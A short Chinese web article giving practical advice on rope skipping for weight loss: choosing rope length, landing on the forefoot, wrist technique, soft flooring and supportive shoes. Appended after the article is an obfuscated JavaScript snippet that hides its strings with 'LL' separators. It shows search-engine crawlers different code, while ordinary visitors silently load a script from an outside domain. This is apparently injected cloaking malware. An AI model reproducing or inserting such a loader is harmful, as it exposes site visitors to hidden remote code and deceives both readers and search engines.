当前位置:首页 > 健康 > 运动健身 > 正文

如何正确跳绳呢

2017-04-16 12:37:32  来源:360常识网   热度:
导语:在现在生活中肥胖是大家经常会面临到的一个问题,所以人们都找了很多减肥的方法,或者减肥的药或食物。但是在接触之后却发现效果并不显著,

在现在生活中肥胖是大家经常会面临到的一个问题,所以人们都找了很多减肥的方法,或者减肥的药或食物。但是在接触之后却发现效果并不显著,其实跳绳也是减肥的一种运动,有些人觉得跳绳真的可以减肥,有些人觉得跳绳不能减肥。跳绳其实是可以减肥的。那么,应该如何正确跳绳呢?

两手分别握住绳两端的把手,通常情况下以一脚踩住绳子中间,两臂屈肘将小臂抬平,绳子被拉直即为适合的长度。

跳绳时要用前脚掌起跳和落地,切记不要用全脚或脚跟落地,以免脑部受到震动。当跃起时,不要极度弯曲身体,要成为自然弯曲的姿势。跳时,呼吸要自然有节奏。

向前摇时,大臂靠近身体两侧,肘稍外展,上臂近似水平,用手腕发力做外展内旋运动,使两手在体侧做画圆动作。每摇动一次,绳子从地面经身后向上向下,回旋一周,绳子转动的速度和手摇绳的速度成正比,摇动越快,则绳子回旋越快。

跳绳运动只需要很少的活动空间,但活动进行的地面必须平坦,最好在上面铺上地毯和软垫,而且要穿上抗震力强的运动鞋,这样可以缓和膝盖和脚踝与地面接触时的冲撞,否则跳动时的反作用力,可能会影响脊椎、脑部,造成运动伤害。值得注意的是,在跳绳时,最好穿上运动内衣,或是选择支撑力较好的棉质内衣,可以保护胸肌,避免拉伤。

以上就是如何正确跳绳的相关内容,跳绳是可以减肥的,而且跳绳的方法是非常重要的,很多人觉得跳绳不能减肥,可能是方法没有用对,所以才会觉到减肥的效果不是很显著。当然,跳绳的时候除了方法要对,运动装备也一定要合适,这样才不会受伤。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}